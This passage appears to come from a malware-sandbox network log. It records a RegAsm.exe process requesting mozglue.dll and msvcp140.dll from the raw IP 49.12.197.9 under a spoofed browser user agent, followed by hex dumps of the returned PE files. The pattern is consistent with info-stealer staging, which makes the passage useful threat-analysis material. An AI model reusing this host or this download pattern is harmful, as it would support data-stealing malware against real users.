Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: 77 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 Data Ascii: w8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: e8 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	65243	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:46 UTC	195	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:47 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:46 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:46 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:47 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: ff ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: e9 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: 00 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: e9 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: 04 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: 81 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: 0b 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-10-02 15:16:47 UTC	16384	IN	Data Raw: 10 b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	65244	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:48 UTC	196	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:48 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:48 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:48 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:48 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-10-02 15:16:48 UTC	16384	IN	Data Raw: 00 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mn
2024-10-02 15:16:48 UTC	16384	IN	Data Raw: 00 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-10-02 15:16:48 UTC	16384	IN	Data Raw: 18 d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]
2024-10-02 15:16:48 UTC	16384	IN	Data Raw: 6a 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 Data Ascii: jatAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-10-02 15:16:49 UTC	16384	IN	Data Raw: 85 c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-10-02 15:16:49 UTC	16384	IN	Data Raw: f0 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-10-02 15:16:49 UTC	16384	IN	Data Raw: e8 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
